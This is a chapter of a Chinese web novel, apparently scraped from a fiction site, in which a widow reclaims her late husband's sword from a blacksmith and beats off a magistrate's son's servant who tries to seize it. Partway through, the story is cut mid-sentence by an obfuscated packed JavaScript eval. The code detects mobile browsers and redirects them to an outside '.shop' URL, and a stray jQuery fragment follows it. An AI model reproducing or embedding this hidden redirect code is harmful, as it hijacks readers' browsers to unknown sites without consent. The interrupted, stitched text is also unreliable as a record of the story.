文趣网 > 其他小说 > 成为纨绔的命硬寡嫂后 > 24. 显露
    徐真一早便发话,允随予荇自由出入。无论何时,只要随予荇想出去,不必到她跟前回禀,

    少了这一层顾虑,随予荇出门便轻松了很多,也不必再兜着圈子找借口出门了。

    只是冬序少不得要跟着,她不好与蒲临水过多见面,反正眼下还未找到缺口,不能贸然激进,同蒲临水也没什么好商量的。况且他说过,若是有了紧要的消息,他自会想办法联系自己,她不必去冒这个风险。

    马车一路弯绕,最终在北街晴花巷停下。这一带多设茶坊,却独独有一间剑铺混在其中,听起来便有些格格不入。

    缭绕的茶香混着面点的香气在长巷徘徊,一路深入,各家的茶香面香便交织在一起,悉数灌入来往行人的鼻腔,像是不将人喝茶的心思便不罢休一般。

    走到晴花巷尽头,茶香便慢慢淡了。随予荇靠辨出的铁器敲打声,认清方向,往巷子右边走去,很快一块“陈家剑铺”的匾额招牌便映入眼帘。

    剑铺的陈设简单,里面数一个被柴火熏得发黑的青石砖炉最为显眼。灶口半敞,溢出噼啪的火星,一个约摸四十岁的男人穿着一件布褂,露出精壮有力的手臂。

    一块铁被钳子夹住往炉灶里送,漆黑的铁块慢慢被火舌淹没,顷刻化作通红。那男人眯眼看了看炉子里的火,又俯身拾柴往炉里添,抬头时才发现随予荇站在铺子门口。

    他懒得将眼皮抬起,将她的脸看清楚,仍自顾自忙别的事,嘴里不咸不淡道:“姑娘若要品茗,出门一直走,往右便能出去了。”

    不想一番话落下,那身月白色衣裳的女子还是一动不动,男人也没搭理她,片刻便要开口赶人:“姑娘,我这里的火烧得旺,可别熏坏了你的脸,这里不是女子该来的地方。”

    随予荇充耳不闻,缓缓迈过门槛往里走,“这位大哥,我是来取剑的。”

    男人闻言抬头,拍了拍手掌的灰尘,狐疑扫了一眼面前这个带着帷帽的女子,道:“取剑?我记得,我这里的剑从未卖过给女子。”

    随予荇从袖里抽出一张单据,往他眼前轻扬,“是一年前,我夫君在这里订下的,如今我来跑一趟,替夫君将剑取回。”

    男人接过单据看了一眼,随后脸色微变:“你的夫婿是宣平侯府的大公子?”

    随予荇点点头:“是。我是昨日收拾东西时发现这张单据的,我想,这把剑费了一年的功夫锻造而成,定然是夫君的心爱之物,我便想着来跑一趟将剑取回去,留作一个念想。”

    男人的眼神变得有些黯然,轻声道:“天妒英才,实在是造化弄人。”

    他一面轻叹着,一面径自掀开一侧的布帘入了里间。

    半刻钟后,男人再度露面,手中多了一个长条的木匣子。

    男人轻轻将木匣子放在铺着棉布的案台上,握着布巾轻轻擦拭木匣子朝上的一面。继而,他用粗粝的拇指挑开木匣的搭扣。

    随着一声清响,匣盖开启,看见的黑色细密格纹的长剑鞘,像是用蛇皮做的,皮面发亮,被细微的火光裹着,泛着些许暖光,看上去少了几分冷硬。

    随予荇本能伸手往匣里探去,五指合拢将剑鞘握在手心里。

    “夫人小心。”男人嘱咐道:“这柄剑虽然轻巧,但毕竟是有重量的铁器,夫人只怕是不够力气拿起,仔细别伤了夫人的手臂。还是我……”

    男人还未将话说完,眼睛便瞪圆了。

    面前的女子像是不费吹灰之力一般,单手便将剑拿起来了。

    随予荇松了松手腕,在掌心轻掂长剑:“多谢大哥提醒,这剑是有一些重了,若力气小一些,还真是拿不起来。”

    她拇指熟练地抵着剑格,右手稍稍使力,只听铮的一声,长剑出鞘,像是从湖底抽出的冷硬寒冰,一瞬泛着冷光,刺得人眼睛发疼。这剑虽然修长轻薄,拿在手里不发沉,可若是练快剑的人,这样的铁器最趁手,若是手脚快一些的,说不定剑刚出鞘,敌手的喉间便有一道毙命的血痕了。

    随予荇眼前又一亮,手指轻滑,往剑脊滑去。

    冬序吓得脸变得煞白,她俯身挪了一步,拦道:“主子,刀剑无眼,可别伤着了。”

    “不怕。”随予荇的兴致被这把剑勾起,手腕灵活地转了转,剑刃一转,寒光又是一闪,冬序吓得嘴唇直哆嗦。

    男人的脸色稍稍缓和了,眼睛一亮:“我见夫人拿剑动作娴熟,莫非也是习武之人?”

    随予荇敛起打量剑的目光,又将剑放下,讪笑道:“不过是从前跟着夫君学过几招防身之术,有些手力举剑罢了,哪是什么习武之人。哎哟,这剑还真是重。”

    男人道:“夫人可要小心,这剑刃锋利,仔细别伤着自己才好,还是我先替你收起来。”

    “陈铁匠,我家公子的剑打好了没有?”

    一道叫嚷的声音从剑铺门口传来,引得随予荇也侧目去看。

    男人听见这道声音,即刻又冷着脸,鼻子哼出一丝冷气,没有接话。

    一只长靴才踏入剑铺,一股脂粉味便扑面而来,随予荇忍不住拧眉,心里不知怎么就起了偏见。

    踢踏又是一声,一个玉石作冠束发,穿着鲜艳且身形修长的年轻男人步入剑铺。那衣裳的颜色鲜艳得晃眼,比那炉灶里的火苗颜色还要鲜艳几分。

    他身后跟着的小厮,不过穿着极深的素布衣裳,两厢对比之下,更为黯然失色。

    这男人像是没有嘴巴一般,全靠身后的小厮替他说话。

    “陈铁匠你聋了,我跟你说话你没听见?我问你,我家公子的剑打好了没有?”

    陈铁匠背着身子,捏着铁钳去翻炉膛里的铁块,随口道:“才两天的工夫,哪能这么快打好?若陆公子嫌慢,我将钱退回,你们再另寻别个高处造剑便是。”

    小厮瞥见公子脸上的不悦,脸上怒色也浮上五分:“你这是什么态度,我家公子已经另加了五百贯钱了,你便不能先一心一意将公子的剑先打好吗?”

    “这五百贯钱是定金,不是雇我一心一意铸一把剑的钱。”陈铁匠转过身,脸上的冷漠没有被炉火灼烧消散半分。

    火钳上的火星子飘落,小厮上前护着男子后退了一步,顿时哑了火。

    河州就数陈铁匠的铸剑技艺最好,偏他又是个冷硬的臭脾气,上门花钱铸剑还要看他的脸色。好不容易软磨硬泡,让他接了铸剑的单子,又怕他闲散惯了,不尽心尽力,便想着来看一眼。

    虽说他只是个铁匠,但河州纷传他是草莽出身,曾在祁州杀过山匪,砍过乱军,只是后来不愿再过刀口舔血的日子,才转行做了铁匠。

    加之他铸剑手艺好,没人会触他的霉头,也怕惹急了他,他悄无声息便上门害一出人命官司。他是立过军功的,多少有些与州府军官的交情在,也不好得罪他。

    见状,小厮见待在这也是自讨没趣,便躬着身劝一旁的公子离开。

    随予荇无意掺和他们的事,抬手让剑入鞘,收回匣子里,便捧着要走。

    “姑娘,这把剑可否让我看一看。”那姓陆的公子从进来,余光便瞟向随予荇手上握着的那把剑。

    “公子,这剑我方才已经收回去了,我一个女子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868813|212138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,再拿出来怕是难。”随予荇的话虽委婉,却足以让人听懂其中的拒绝之意。

    年轻男人狭长的眼睛浮上一丝客套的和气,道:“方才我瞥了一眼,姑娘手中的这把剑剑身轻薄,寒光若现,当是一把难得一见的好剑。刀剑无眼,放在姑娘手中只怕伤着了姑娘。”

    随予荇瞪了他一眼,没好气道:“既是我的东西,那便不劳公子费心了。”

    话毕,随予荇略过他,捧着剑匣,快步从剑铺离开。

    不多时,身后传来细碎的脚步声,这步子越迈越大,身后的人影一瞬移到随予荇和冬序面前,将她们的路拦住。

    原是剑铺里那个叫嚣的小厮,只见他气喘吁吁,眉眼却透着一股恃强凌弱的意味:“我家公子对姑娘的剑很感兴趣,出两百两想买下你的剑。”

    随予荇的声音被轻纱滤过,显得更冷:“我不缺钱,不卖。”

    小厮又换了一套说辞,显然失了耐心,“姑娘便该在家里绣花抚琴,动刀动剑未免粗俗,还不如让给我们公子做佩剑。我家公子可是陆通判的儿子,这笔买卖你不做也得做。”

    “让开。”随予荇冷笑一声:“以权压人,那得看看你有没有这个本事。”

    小厮的脸色涨得通红,探头去看不远处的男人,见他轻扬下巴后,小厮像是下定决心,一个箭步扎到随予荇面前,伸手便要去抢她怀里的剑匣。

    随予荇眼角发红,将身后的冬序轻轻推开到一旁,一个侧身躲过去,那小厮扑了个空,摔了个狗啃泥。

    小厮顾不得疼,立刻从地上爬起来,脸色更为狰狞凶狠,伸手挥拳,往随予荇的脸打去。

    “主子小心。”冬序在一旁大喊。

    “找死。”随予荇抬手举起剑匣,直接往小厮的手臂上狠狠劈下。顷刻,听见一声咔嚓声,小厮的五官犹如面团扭作一团,疼得哇哇大叫。

    随予荇抬脚往前一踹,将小厮踢倒在地上,目光冷凝,像是在看一只垂死挣扎的蚂蚁,“今日本姑娘心情好,留你一只手臂,若再让我下次碰着你们,我让你们一主一仆爬着回家。”

    小厮疼得满地打滚,根本听不清随予荇的话,紧咬的牙关里只吐出痛苦的呻吟。

    随予荇拧头,扫了一眼站在不远处的男人,见他脸色难看,却又不敢发作,只是默然立在原地,不开口为自己的小厮打抱不平,也不再亲自上前来抢她手里的剑匣。

    一个只敢对女人下手的败类,也配得上用闻宏清的剑?

    “我们走。”

    随予荇带着冬序离开晴花巷,可直至上了马车,冬序仍惊魂未定。

    “主子,那人居然是陆通判的儿子,外面人传闻他恃强行霸道之事,名声极差,今日一见,实在是可怕。”

    随予荇道:“看来他们平日没少做这些阴险勾当,不过那陆公子见我失手打伤了他的小厮,也没追上来,也知道是自己理亏。”

    那小厮的手臂被她打断,日后就算恢复,也会落下毛病。用剑匣往下砸的时候,她稍稍使了三四分气力,但也足够他喝一壶的。

    “幸而主子反应快,躲过了恶人的偷袭。”冬序愧疚道:“冬序无用,护不住主子。”

    随予荇脱下帷帽,轻笑道:“不过是一个小喽啰罢了,不成气候。”

    冬序愣了愣:“主子见过不少这样的恶人?”

    随予荇面皮一紧,干笑道:“怎么会?我只是随口一说。还是亏得夫君在天上保佑,今日我才能侥幸逃过一劫。”

    若今日冬序没跟着一起来,凭她的作风,定然不会轻饶了这两个人。